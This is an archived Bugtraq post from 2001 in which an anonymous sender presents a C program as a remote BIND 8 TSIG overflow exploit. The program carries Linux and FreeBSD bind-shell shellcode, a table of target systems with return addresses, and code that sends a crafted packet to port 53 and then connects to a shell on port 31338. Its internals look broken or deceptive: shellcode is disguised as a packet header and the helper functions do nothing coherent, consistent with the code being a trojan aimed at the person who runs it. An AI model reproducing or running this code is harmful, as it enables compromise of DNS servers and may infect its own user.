6033362 2001-01-31 16:12 -0700  /367 rader/  <nobody@REPLAY.COM>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-01  04:22  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: nobody@REPLAY.COM
Mottagare: Bugtraq (import) <15126>
Ärende: TSIG
------------------------------------------------------------
From: nobody@REPLAY.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <20010131231236.BD60A24D282@lists.securityfocus.com>

From Anonymous <nobody@replay.com> Wed Jan 31 18:06:24 2001
Date: Thu, 31 Jan 2001 18:06:19 -0400
From: Anonymous <nobody@replay.com>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Bind8 exploit
Message-ID: <C5119AD12E92D311928E009027DE4CCA554903@replay.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Mailer: Internet Mail Service (5.5.2650.21)


/*
 * Implements TSIG buffer mismanagement overflow for incorrect signatures. That
 * one was really nice bug!
 * Thanks NAI for nice bug!
 */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>

#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif

#define SHELL_OFFSET_1	26
#define SHELL_OFFSET_2	31
#define BIND_PKT_OFF    26	/* offset from beginning of packet */
#define BIND_OKT_SZ     14	/* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

char            dns_packet[] =
/* TSIG bind req, \xe8 used as field separator. */
"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char            linux_shellcode[] =	/* modifyed Aleph1 linux shellcode to
					 * bind to tcp port 31338. hey aleph1
					 * :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";

char            bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";

struct remote {
	char           *osname;
	char           *bindver;
	unsigned long   ret;	/* return addr */
	unsigned long   otebp;	/* offset ot %ebp,bind specific */
	char           *shellcode;
}               remote[] = {
	{
		"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
	},
	{
		"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
	},
	{
		"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
	},
	{
		"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
	},
	{
		"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
	},
	{
		"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
	},
	{
		"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
	},
	{
		"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
	},
	{
		NULL, NULL, 0, 0
	}
};

void
usage_func(char *pname)
{
	int             i;

	fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
	fprintf(stderr, "Targets:\n");
	for (i = 0; remote[i].osname; i++)
		fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[i].bindver);
	fprintf(stderr, "\n");
	fprintf(stderr, " Example usage:\n");
	fprintf(stderr, "$ host -t ns domain.com\n");
	fprintf(stderr, "domain.com name server dns1.domain.com\n");
	fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
	fprintf(stderr, " [..expl output..]\n\n");
	exit(1);
}


int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
	char            copy_buff[1024];
	int             revval;

	memcpy(copy_buff, buff, 1024);
	revval = buff[SHELL_OFFSET_1];
	/* increment record usage count */
	revval += BIND_OFF_01;
	if (s)
		if (!fork())
			/* simply copy value to offset */
			memcpy(©_buff[offset], &val, sizeof(val));
	memcpy(buff, copy_buff, sizeof(copy_buff));
	return 0;
}

unsigned long
Resolve(char *h)
{
	struct in_addr  q;
	struct hostent *z;

	if ((inet_aton(h, &q)) == 0) {
		z = gethostbyname(h);

		if (!z)
			return -1;

		(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
	}
	return q.s_addr;
}

/* pull out a compressed query name */
char           *
dnsprintflabel(char *s, char *buf, char *p)
{
	unsigned short  i, len;
	char           *b = NULL;
	len = (unsigned short) *(p++);
	i = len + BIND_PKT_OFF;
	/* invalid length? */
	if (i)
		return NULL;
	while (len) {
		while (len >= 0xC0) {
			if (!b)
				b = p + 1;
			p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC000);
			len = (unsigned short) *(p++);
		}
		for (i = 0; i < len; i++)
			*(s++) = *(p++);
		*(s++) = '.';
		len = (unsigned short) *(p++);
	}
	*(s++) = 0;
	if (b)
		return (b);
	return (p);
}

int
proxyloop(int s)
{
	char            snd[1024], rcv[1024];
	fd_set          rset;
	int             maxfd, n;
	sleep(1);
	printf("Entering proxyloop..\n");
	strcpy(snd, "cd /; uname -a; pwd; id;\n");
	write(s, snd, strlen(snd));
	for (;;) {
		FD_SET(fileno(stdin), &rset);
		FD_SET(s, &rset);
		maxfd = max(fileno(stdin), s) + 1;
		select(maxfd, &rset, NULL, NULL, NULL);
		if (FD_ISSET(fileno(stdin), &rset)) {
			bzero(snd, sizeof(snd));
			fgets(snd, sizeof(snd) - 2, stdin);
			write(s, snd, strlen(snd));
		}
		if (FD_ISSET(s, &rset)) {
			bzero(rcv, sizeof(rcv));
			if ((n = read(s, rcv, sizeof(rcv))) == 0)
				exit(0);
			if (n < 0) {
				return -3;
			}
			fputs(rcv, stdout);
		}
	}
	return 0;
}

int
main(int argc, char *argv[])
{
	HEADER         *dnsheader;
	struct sockaddr_in to;
	char            expl_buffer[PACKETSZ + 8192];
	int             off, i, x;
	char            ch, *remote_addr = NULL, *dmn = NULL;
	char           *walker;
	unsigned char  *shellcode;
	int             align = 0;
	unsigned long   remote_ip, addr;
	int             saved_len_1, saved_len_2;
	int             type = -1;
	int             fd, fd2;

	if (argc != 4) {
		usage_func(argv[0]);
	}
	dmn = strdup(argv[1]);
	remote_addr = strdup(argv[2]);
	type = atoi(argv[3]);

	if (type < 0 || !remote_addr || !dmn) {
		usage_func(argv[0]);
	}
	printf(" [+] Trying to resolve %s ...\n", remote_addr);
	remote_ip = Resolve(remote_addr);

	if (remote_ip == -1) {
		fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
		exit(1);
	} else {
		printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
	}
	/* block signal to allow these signals in bindshell */
	signal(SIGHUP, SIG_IGN);
	signal(SIGCHLD, SIG_IGN);	/* well.. */
	signal(SIGINT, SIG_IGN);

	printf(" [+] Remote OS %s, using domain %s\n",
	remote[type].osname, dmn); printf(" [+] Offset: 0x%08x, bind
	specific value: %d\n", remote[type].ret, remote[type].otebp);
	shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
	memset(shellcode, 0x90, PACKETSZ);

	addr = remote[type].ret;

	for (i = 0; i < sizeof(dns_packet); i++)
		shellcode[i] = dns_packet[i];

	if (i > 0) {
		saved_len_1 = i;
	}
	for (x = 0; x < sizeof(linux_shellcode); i++, x++)
		shellcode[i] = linux_shellcode[x];

	if (i) {
		saved_len_2 = i;
	}
	for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
		shellcode[i] = bsd_shellcode[x];

	/* encode offset */
	addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
	shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
	shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
	shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
	shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
	addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
	shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
	shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
	shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
	shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

	printf(" [+] shellcode length: %d\n", i);
	/*
	 * now build packet
	 * set pointer to itself. dont modify BIND_OFF_02, it was
	 * bruteforced.. and worked with every bind i sploited.
	 */
	set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
	/* setup tsig info */
	set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
	/* count of records */
	if (i > (SHELL_OFFSET_2 - 10)) {
		set_ptr(shellcode, BIND_OFF_03, i, 0);
	} else {
		i += (SHELL_OFFSET_2 / 2);
		i -= (SHELL_OFFSET_2 % 2);	/* thnx enr1qe! :) */
		set_ptr(shellcode, BIND_OFF_03, i, 0);
	}
	/* store return ADDR !! */
	set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

	/* copy and rebuild packet depended stuff */
	memcpy(expl_buffer, shellcode, PACKETSZ);
	dnsheader = (HEADER *) & expl_buffer;
	memset(dnsheader, 0, sizeof(HEADER));
	dnsheader->id = htons(getpid());
	dnsheader->qr = 1;
	dnsheader->aa = 1;
	/* tsig query! */
	dnsheader->opcode = QUERY;
	dnsheader->qdcount = htons(1);
	dnsheader->arcount = htons(1);
	/*
	 * encode packet ...
	 */
	dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (char *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
	walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
	PUTSHORT(T_SIG, walker);

	/*
	 * packet is built, connect and sent shellcode. what can be easier?
	 * :)
	 */
	if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
		perror("socket");
		exit(1);
	}
	memset(&to, 0, sizeof(to));
	to.sin_family = AF_INET;
	to.sin_port = htons(53);
	to.sin_addr.s_addr = remote_ip;

	if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, sizeof(struct sockaddr)) != PACKETSZ)) {
		perror("sendto");
		exit(1);
	}
	/* attempt to connect to bindshell on port 31338 */

	if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		perror("socket");
		exit(1);
	}
	/* linux & freebsd shellcodes bindport is same, so dont even check. */
	to.sin_port = htons(31338);

	if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0) {
		perror("connect");
		exit(1);
	}
	proxyloop(fd2);
}
(6033362) --------------------------------(Ombruten)
Kommentar i text 6033591 av Max Vision <vision@WHITEHATS.COM>